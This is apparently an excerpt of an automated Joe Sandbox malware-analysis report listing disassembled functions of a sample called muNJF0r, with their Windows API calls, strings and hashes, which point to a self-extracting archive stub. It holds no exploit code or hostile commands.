CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BB0B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BB0B93
ReadFile.KERNEL32(00000000,?,00007FFE,00BD3C7C,00000000), ref: 00BB0BB1
CloseHandle.KERNEL32(00000000), ref: 00BB0C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BB0C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00BD3C7C,?,00000000,?,00000800), ref: 00BB0C72
GetFileAttributesW.KERNELBASE(?,?,00BD3C7C,00000800,?,00000000,?,00000800), ref: 00BB0C9C
GetFileAttributesW.KERNEL32(?,?,00BD3D44,00000800), ref: 00BB0CD8

Part of subcall function 00BB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BB0836
Part of subcall function 00BB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BAF2D8,Crypt32.dll,00000000,00BAF35C,?,?,00BAF33E,?,?,?), ref: 00BB0858

_swprintf.LIBCMT ref: 00BB0D4A
_swprintf.LIBCMT ref: 00BB0D96

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

AllocConsole.KERNEL32 ref: 00BB0D9E
GetCurrentProcessId.KERNEL32 ref: 00BB0DA8
AttachConsole.KERNEL32(00000000), ref: 00BB0DAF
_wcslen.LIBCMT ref: 00BB0DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00BB0DD5
WriteConsoleW.KERNEL32(00000000), ref: 00BB0DDC
Sleep.KERNEL32(00002710), ref: 00BB0DE7
FreeConsole.KERNEL32 ref: 00BB0DED
ExitProcess.KERNEL32 ref: 00BB0DF5

Strings

uxtheme.dll, xrefs: 00BB0D17
SetDefaultDllDirectories, xrefs: 00BB08B9
DXGIDebug.dll, xrefs: 00BB08FC, 00BB0C5E
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00BB0D84
SetDllDirectoryW, xrefs: 00BB0888
dwmapi.dll, xrefs: 00BB0927, 00BB0D0D
kernel32, xrefs: 00BB0873

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 7c060a7bf8bc732b26149553bf73ce3fd73f09737cbbc38aca2cbe6e95b67532
Instruction ID: 627f575f32082543846d4bb8b32684a328795cddd6527e41619b41b0fc7405b9
Opcode Fuzzy Hash: 7c060a7bf8bc732b26149553bf73ce3fd73f09737cbbc38aca2cbe6e95b67532
Instruction Fuzzy Hash: 94D167B2019344ABD3319F508859BEFFBE8EB85B04F50499EF18597251EBB08648CB63

Function 00BBC73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00BBC744

Part of subcall function 00BBB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00BBB3FB

_wcslen.LIBCMT ref: 00BBCA0A
_wcslen.LIBCMT ref: 00BBCA13
SetWindowTextW.USER32(?,?), ref: 00BBCA71
_wcslen.LIBCMT ref: 00BBCAB3
_wcsrchr.LIBVCRUNTIME ref: 00BBCBFB
GetDlgItem.USER32(?,00000066), ref: 00BBCC36
SetWindowTextW.USER32(00000000,?), ref: 00BBCC46
SendMessageW.USER32(00000000,00000143,00000000,00BEA472), ref: 00BBCC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BBCC7F

Strings

<br>, xrefs: 00BBC9D4
ProgramFilesDir, xrefs: 00BBCB45
Software\Microsoft\Windows\CurrentVersion, xrefs: 00BBCB1A
%s.%d.tmp, xrefs: 00BBC940

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: 2d58bbc7640ec4e45460b9bac1f4107c2f00d51fcb48fb0ffe561b2bf7fa45dc
Instruction ID: 5c0fb4670d8ed065da0e04221415d43477e2fedb631ef994ded6e2bec7603785
Opcode Fuzzy Hash: 2d58bbc7640ec4e45460b9bac1f4107c2f00d51fcb48fb0ffe561b2bf7fa45dc
Instruction Fuzzy Hash: 27E13F72900259ABDB25DBA0DC95EFE77FCEB04750F4080E6F649E3051EBB49A848B64

Function 00BADA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BADA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BADAAC

Part of subcall function 00BAC29A: _wcslen.LIBCMT ref: 00BAC2A2

Part of subcall function 00BB05DA: _wcslen.LIBCMT ref: 00BB05E0

Part of subcall function 00BB1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00BABAE9,00000000,?,?,?,0006021C), ref: 00BB1BA0

_wcslen.LIBCMT ref: 00BADDE9
__fprintf_l.LIBCMT ref: 00BADF1C

Strings

, xrefs: 00BADD6C
*messages***, xrefs: 00BADBFA
*messages***, xrefs: 00BADBC1
$%s:, xrefs: 00BADEFF
a, xrefs: 00BADC16
RTL, xrefs: 00BADEDE
,, xrefs: 00BADF57
@%s:, xrefs: 00BADF06, 00BADF12
R, xrefs: 00BADC0C

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: de863a19b43b2d1ba827e10e94c99d6b6ae460b1b1f0b22ac3e000cc6a136702
Instruction ID: 17dc9eb29f2d368d1237c105730a3581b88986ede5fd88c47ec2a1a5b0cce3e0
Opcode Fuzzy Hash: de863a19b43b2d1ba827e10e94c99d6b6ae460b1b1f0b22ac3e000cc6a136702
Instruction Fuzzy Hash: 3C32D3719042189BCF24EF68C882BEE77E5FF16700F4045AAF916A7291E7B1DD85CB50

Function 00BBD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BBB579
Part of subcall function 00BBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBB58A
Part of subcall function 00BBB568: IsDialogMessageW.USER32(0006021C,?), ref: 00BBB59E
Part of subcall function 00BBB568: TranslateMessage.USER32(?), ref: 00BBB5AC
Part of subcall function 00BBB568: DispatchMessageW.USER32(?), ref: 00BBB5B6

GetDlgItem.USER32(00000068,00BFFCB8), ref: 00BBD4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00BBAF07,00000001,?,?,00BBB7B9,00BD506C,00BFFCB8,00BFFCB8,00001000,00000000,00000000), ref: 00BBD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BBD51B
SendMessageW.USER32(00000000,000000C2,00000000,00BD35F4), ref: 00BBD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BBD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00BBD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BBD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00BBD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BBD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BBD5E1
SendMessageW.USER32(00000000,000000C2,00000000,00BD43F4), ref: 00BBD5F0

Strings

\, xrefs: 00BBD549

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 5bf629d9c2b23d110c9d3fba7d43046fd582c3a12a167eec4cad71cace609326
Instruction ID: 0641710d7f47e949dc5ac369957c38ec6b8245d31223f18bd9304ecc4509b713
Opcode Fuzzy Hash: 5bf629d9c2b23d110c9d3fba7d43046fd582c3a12a167eec4cad71cace609326
Instruction Fuzzy Hash: 7D31E171146796AFE311DF209C4AFAF7FACEB86708F010508F551962A0EB748A04C7B6

Function 00BBD78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00BBD7AE
ShellExecuteExW.SHELL32(?), ref: 00BBD8DE
ShowWindow.USER32(?,00000000), ref: 00BBD91D
GetExitCodeProcess.KERNEL32(?,?), ref: 00BBD959
CloseHandle.KERNEL32(?), ref: 00BBD97F
ShowWindow.USER32(?,00000001), ref: 00BBD9E1

Strings

.exe, xrefs: 00BBD989
.inf, xrefs: 00BBD89A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 481705dd2077e720c36f9313d187f985141078144c13963687c7ba32c8d82197
Instruction ID: 5791313defbd4fec13adbf8f52286c8693c32d31d0ce55d59303bac0a7249ccc
Opcode Fuzzy Hash: 481705dd2077e720c36f9313d187f985141078144c13963687c7ba32c8d82197
Instruction Fuzzy Hash: EB51B1705083809BDB319B249854BFBBBE4EF46744F04089EF5C5972A1FBF98985C752

Function 00BCA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00BC5695,00BC5695,?,?,?,00BCABAC,00000001,00000001,2DE85006), ref: 00BCA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00BCABAC,00000001,00000001,2DE85006,?,?,?), ref: 00BCAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00BCAB35
__freea.LIBCMT ref: 00BCAB42

Part of subcall function 00BC8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BCCA2C,00000000,?,00BC6CBE,?,00000008,?,00BC91E0,?,?,?), ref: 00BC8E38

__freea.LIBCMT ref: 00BCAB4B
__freea.LIBCMT ref: 00BCAB70

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 175043783716e863bf50aa9173bdacb112d2236b3214823c467b0d238c987c4e
Instruction ID: 9e54c302502c7e158c4eaf42c090d3036c5d0bb78346728b9450ccffd71aa629
Opcode Fuzzy Hash: 175043783716e863bf50aa9173bdacb112d2236b3214823c467b0d238c987c4e
Instruction Fuzzy Hash: 9951C17261021AABDB258F64CC85FBBB7EAEB44758F1546ADFC04E6140EB34DC40D6A2

Function 00BC3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00BC3C35,?,?,00C02088,00000000,?,00BC3D60,00000004,InitializeCriticalSectionEx,00BD6394,InitializeCriticalSectionEx,00000000), ref: 00BC3C03

Strings

api-ms-, xrefs: 00BC3BC3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: c393ef73ca97d699d714af53c5c95db538b039c647aa14285c7083bfd8cf5d6f
Instruction ID: 66b4d55ee89d14ea0587687c66650416f5e6cc3a95b89ddebc575124c63f3849
Opcode Fuzzy Hash: c393ef73ca97d699d714af53c5c95db538b039c647aa14285c7083bfd8cf5d6f
Instruction Fuzzy Hash: CE11C135A05221ABCB228B689C81F5E77E4DB05F70F6141A9E811EB290E761EE008AD1

Function 00BBABAB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00BBABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00BBABF9

Part of subcall function 00BB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BAC116,00000000,.exe,?,?,00000800,?,?,?,00BB8E3C), ref: 00BB1FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00BBABE9

Strings

EDIT, xrefs: 00BBABCD, 00BBABD8, 00BBABE5
@UJu, xrefs: 00BBABF9

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @UJu$EDIT
API String ID: 4243998846-1013725496
Opcode ID: 5d9f8e12119e2e9faee8b8b239d5278813b8f4aaf46d0ff9ff9f645de601c120
Instruction ID: a41caceb73b90ac65ab598d23995044068421b4812e483b0edf3c91f823f87ae
Opcode Fuzzy Hash: 5d9f8e12119e2e9faee8b8b239d5278813b8f4aaf46d0ff9ff9f645de601c120
Instruction Fuzzy Hash: 74F08232A0122977DB3056249C09FEF76AC9B46B40F494092BA05A21C0D7A1DE45C5B6

Function 00BBAC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BB0836
Part of subcall function 00BB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BAF2D8,Crypt32.dll,00000000,00BAF35C,?,?,00BAF33E,?,?,?), ref: 00BB0858

OleInitialize.OLE32(00000000), ref: 00BBAC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BBAC66
SHGetMalloc.SHELL32(00BE8438), ref: 00BBAC70

Strings

riched20.dll, xrefs: 00BBAC1E
3ao, xrefs: 00BBAC47

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3ao
API String ID: 3498096277-588198478
Opcode ID: 0757ee1c1de729f29a24d344001fa7459793979332f8272ab1b395851b9325fd
Instruction ID: fef7077694ef21301e4f62d980ff61020ded35e5248011883a152df3b7a01e1f
Opcode Fuzzy Hash: 0757ee1c1de729f29a24d344001fa7459793979332f8272ab1b395851b9325fd
Instruction Fuzzy Hash: E4F0F9B1900249ABCB10AFAAD849AEFFFFCEF84704F00415AA415A2251DBB45605CFA1

Function 00BA98E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00BA7760,?,00000005,?,00000011), ref: 00BA995F
GetLastError.KERNEL32(?,?,00BA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BA996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00BA7760,?,00000005,?), ref: 00BA99A2
GetLastError.KERNEL32(?,?,00BA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BA99AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00BA7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BA99F9

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 65b452aaf520a359954d775686fc56365facebc0d2be5956e8b070c91f275fa6
Instruction ID: 06e9a4076ceaf195382dd5a6b269f74e34d865a5d9764e3d02602c70196ef2e9
Opcode Fuzzy Hash: 65b452aaf520a359954d775686fc56365facebc0d2be5956e8b070c91f275fa6
Instruction Fuzzy Hash: 3431F330548745BFE7209B24CC86BEBBBD8FB46320F100B59F9A1961D1E7A4A944DB91

Function 00BBB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BBB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBB58A
IsDialogMessageW.USER32(0006021C,?), ref: 00BBB59E
TranslateMessage.USER32(?), ref: 00BBB5AC
DispatchMessageW.USER32(?), ref: 00BBB5B6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: d3c6cf24265bd95f8ff01cf1f0448896370a8a4904b7136806261275c4ec88e8
Instruction ID: 29e68c6cfa7ce0440197ff1e6aea22ea8faed780693820445f3a84ec6b1b8940
Opcode Fuzzy Hash: d3c6cf24265bd95f8ff01cf1f0448896370a8a4904b7136806261275c4ec88e8
Instruction Fuzzy Hash: 1AF0BD71A0215AABCF209BE6AC4CFEF7FBCEE052957014415B509D2050EBB4D605CBB1

Function 00BBDBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BBDBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BBDC30

Strings

sfxcmd, xrefs: 00BBDBEF
sfxpar, xrefs: 00BBDC2B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 4ccec90ad105cda20e6a52fa2063a95d1aff73d73318f589d87caa2c7c308d48
Instruction ID: efa247f17831a72f4ae519590484f354d1f3af02eaade027216143343029bade
Opcode Fuzzy Hash: 4ccec90ad105cda20e6a52fa2063a95d1aff73d73318f589d87caa2c7c308d48
Instruction Fuzzy Hash: 9EF0EC7240523567CB202F94CC06FFB7FE8EF05B81B0404D2BD85A6161F6F48980D6B1

Function 00BA9785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00BA9795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00BA97AD
GetLastError.KERNEL32 ref: 00BA97DF
GetLastError.KERNEL32 ref: 00BA97FE

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
